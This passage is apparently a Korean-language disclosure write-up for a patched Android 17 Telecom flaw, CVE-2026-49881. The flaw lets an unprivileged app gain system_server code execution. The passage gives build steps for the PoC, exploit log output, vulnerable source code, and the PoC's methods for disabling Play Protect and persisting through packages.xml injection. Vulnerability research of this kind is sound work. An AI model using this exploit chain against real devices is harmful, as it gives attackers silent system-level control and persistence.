
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
이 문서는 Android 17 Telecom 서비스의 InCallController 클래스에 존재하는 논리적 결함인 CVE-2026-49881에 대한 PoC 및 분석 문서입니다. 이 취약점을 통해 권한이 없는 앱이 추가적인 사용자 상호작용 없이 UID 1000 system_server 권한으로 임의 코드 실행을 달성할 수 있습니다. 또한, 최신 Android 버전에서도 system_server 코드 실행이 지속성(persistence) 확보로 쉽게 이어질 수 있음을 보여줍니다.
이 취약점을 2026-04-10에 Android 보안 팀에 보고했으며, 2026-05-06에 확인되었고, 2026년 9월 Android 보안 게시판에서 수정되었습니다. (패치 확인)
보고 시점 기준으로, 제가 아는 한 이 취약점은 Android 16 QPR3 이후(및 17 Beta 빌드 포함)의 Pixel 빌드에만 실제로 영향을 미쳤지만, 이후 Android 17 AOSP 안정 릴리스에도 포함되었습니다.
이 문제로부터 보호하려면 시스템 보안 패치와 함께 Google Play 시스템 업데이트를 설치해야 합니다. (Telecom은 Android 17부터 mainline 구성 요소입니다)
system_server에서 코드 실행을 달성하는 방법을 보여주며, id 및 스택 추적을 logcat에 기록하고, 자신을 system_server 구성 요소로 재설치합니다.build.sh를 실행하여 PoC를 컴파일합니다. 또는 수동으로 ./gradlew assembleSystemRelease를 실행하고, 결과로 생성된 app-system-release.apk를 app/src/poc/assets/system.apk로 이동한 다음 ./gradlew assemblePocRelease를 실행할 수 있습니다.system_server에 진입한 후 Settings.Global의 package_verifier_user_consent를 -1로 설정하여 Play Protect를 강제로 비활성화합니다. 알 수 없는 서명으로 인해 재설치 트랜잭션이 가로채질 수 있기 때문입니다. 테스트 후 설정에서 이를 다시 활성화해야 합니다.system_server로의 재설치 단계는 OEM이 때때로 변경하는 심볼을 사용하여 PMS 구조를 탐색하는 데 의존하므로 OEM별 맞춤화가 필요할 수 있습니다.예상 PoC logcat 출력:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
이것은 이례적으로 직접적인 취약점입니다. 특정 Telecom 관련 작업이 발생할 때마다 InCallController는 getInCallServiceComponents를 통해 사용 가능한 서비스를 검색하려고 시도합니다. 이는 자연스럽게 통화가 시스템에 등록될 때 트리거되지만, 앱은 트랜잭션 호출 API인 TelecomManager.addCall 덕분에 요청 시에도 이를 트리거할 수 있습니다. (참고: PoC의 Start Exploit 버튼이 사용하는 방식입니다) 이 API는 MANAGE_OWN_CALLS 권한이 필요하지만, 설치 시 자동으로 부여되는 일반적이고 사용자에게 보이지 않는 권한입니다.
이 열거는 취약한 버전에서 다음과 같이 구현됩니다:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}
serviceClassExists가 InCallService 인텐트와 android.telecom.CLASS_EXISTENCE_CHECK 메타데이터 값을 선언하는 모든 구성 요소에 대해 실행된다는 점에 유의하세요. 유효하거나 활성화된 InCallService에만 적용되는 것이 아닙니다. (해당 검사는 분기 아래에서 getInCallServiceType 및 isServiceEnabled로 구현됩니다)
serviceClassExists는 다음과 같이 구현됩니다: